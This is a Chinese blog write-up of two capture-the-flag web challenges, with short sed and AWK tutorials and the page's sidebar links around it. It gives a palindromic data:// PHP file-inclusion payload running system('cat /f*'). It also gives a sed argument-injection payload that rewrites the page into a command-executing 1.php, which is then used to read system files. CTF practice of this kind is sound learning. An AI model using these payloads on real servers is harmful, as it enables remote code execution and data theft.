当前位置:网站首页>单身杯web wp
单身杯web wp
2022-07-26 07:15:00 【GSflyy】
web签到题

php代码审计
post传入一个参数file,file的反转字符串与file相同时即可执行文件包含
payload :
?file=data://text/plain,<?php echo system("cat /f*")?>>?)"*f/ tac"(metsys ohce php?<,nialp/txet//:atad
使用?>即可对代码进行截断
easyPHP

php代码审计
POST方式传入cmd和param两个参数,使用escapeshellcmd()和escapeshellarg()俩函数处理并合并为一条cmd命令交由shell_exec()函数执行
其中参数cmd限长三位,参数param不限长
escapeshellcmd()和escapeshellarg()函数我都不熟悉,先查一下:
escapeshellcmd()

escapeshellarg()

简单来说,
escapeshellcmd是对&#;|*?~<>^()[]{}$\, \x0A 和 `\xFF这些字符之前添加一个转义字符'\'。
escapeshellarg的作用是 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。
参照k师傅wp学习
SED简介
sed,英文全称 stream editor ,是一种非交互式的流编辑器,通过多种转换修改流经它的文本。
sed 可以对文字的增删改替换查( 过滤、取行 ),能同时处理多个文件多行的内容。
sed 与 awk 并称为 Linux/Unix 世界的两大王牌文字处理器。
sed 与 awk 一样,都是行文字处理器。
awk 侧重点是分割和重新合成。而 sed 的侧重点是替换。
步骤一
我们重点看看需要的内容,k师傅使用sed命令替换了shell_exec函数为system函数,并且将$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;这一行给删除了
传入的参数是
cmd=sed¶m=/esca/d;s/shell_exec/system;w 1.php
sed是三字命令,自然没有超过sustr的字符串长度限制,接下来对命令参数进行说明:
/esca/d: 斜杠这个符号在sed中用于隔离不同参数(或是命令), /d的作用是delete,即删除,/esca是/d所需要匹配的字符串,即含有esca这个字符串所在的行会被删除。
; :sed中分号是不同命令之间的分隔。
s/shell_exec/system:s是sed中的字符串替换命令
在这里可以学到其具体的使用方式与效果:sed 字符串替换命令 s - sed 基础教程 - 简单教程,简单编程
s/shell_exec/system即是将shell_exec替换为system的命令。
w 1.php :w即write 写入,合起来就是将修改后的文件写入1.php中
因此该payload 的实际效果就是 sed '/esca/d;s/shell_exec/system;ww 1.php'
步骤二
那么我们现在了解了sed是如何替换字符串并写入文件的,我们知道最终将有一个1.php会在网站目录下被生成,因此在网站链接后加上1.php进入

可以了解到我们修改后的成果,接下来使用post cmd传入使用的命令行指令:
cmd = ls / :了解当前目录下的文件

cmd=cat /f* 即可拿到flag

AWK 简介
参考链接:AWK 简介 - Awk 基础教程 - 简单教程,简单编程
AWK 是一个命令行工具,它和其它的 Unix/Linux 命令行工具,比如 curl 和 wget 一样,没有界面。
AWK 是一门语言,对的,一门语言,而且是一个解释性编程语言。使用 Awk 可以完成无数的任务,我们简单的罗列几条
文本处理
生成格式化的文本报告
运行一些简单的算术操作
执行一些常见的字符串操作
AWK 程序有两种运行方式:
一种就是直接在终端( shell )中使用。
AWK 的另一种使用方式,就是可以和 Shell 脚本,写在一个文本文件里,然后运行这个文本文件。不过这种方式不多见
AWK 最常见的使用方式就是在终端里直接输入 AWK 脚本。
awk [options] file ...
在命令行里直接使用,我们需要讲 AWK 代码使用 单引号 ( '' ) 引起来。
比如
[www.twle.cn]$ awk '{print}' employee.txtexp

因为awk中可以直接执行指令。
边栏推荐
- Apache dolphin scheduler version 3.0.0-beta-1 was released, and flinksql and Zeppelin task types were added
- Yolov6 target detection practice: training your own data set (video tutorial)
- 如何对C盘进行扩容重新分区?
- Opencv learning basic functions
- 20220724 三角函数系的正交性
- Unity3d-异步加载场景、进度条加载
- Opencv learning warp Perspective
- Why can't extern compile variables decorated with const?
- 达人专栏 | 还不会用 Apache Dolphinscheduler?大佬用时一个月写出的最全入门教程【三】
- Leetcode 1184: distance between bus stops
猜你喜欢
unity3d-对象池的用法

Heap parsing and heap sorting
![[749. Isolate virus]](/img/12/b8c3cdb664f4415d20c2fc5c697a41.png)
[749. Isolate virus]

"Wei Lai Cup" 2022 Niuke summer multi school training camp 1 supplementary question record (acdgij)

Become an Apache contributor, so easy!

20220725 compensator in automatic control principle

Question: can't download sh shellcheck Please install it manually and some commands of shell script

redis-migrate-tool迁移报错。

RGB-T追踪——【数据集基准】GTOT / RGBT210 / RGBT234 / VOT-2019-2020 / LasHeR / VTUAV

Opencv learning color detection
随机推荐
Pycharm的相关配置:改字体样式和大小、更改图片背景、更改控制台输出的字体颜色
Talent column | can't use Apache dolphin scheduler? The most complete introductory tutorial written by the boss in one month [3]
Manifest merger failed with multiple errors, see logs
Contents mismatch at: 08000000H (Flash=FFH Required=00H) ! Too many errors to display !
NiO implementation
Deep learning visualization
Become an Apache contributor, so easy!
Now the metauniverse is no longer an existence that is only applied to the social field
The method of raspberry pie connecting tmall elf speaker to play music through Bluetooth
Question: can't download sh shellcheck Please install it manually and some commands of shell script
金融任务实例实时、离线跑批Apache DolphinScheduler在新网银行的三大场景与五大优化
Relevant configurations of pychart: change font style and size, change picture background, and change the font color of console output
Opencv learning warp Perspective
Redis migrate tool migration error.
Do you know what "parts" MySQL contains?
Idea -- use @slf4j to print logs
Opencv learning drawing shapes and text
JIT中的IR工具与JITWatch的下载,编译及使用
MySQL read / write lock
20220725 convolution in automatic control principle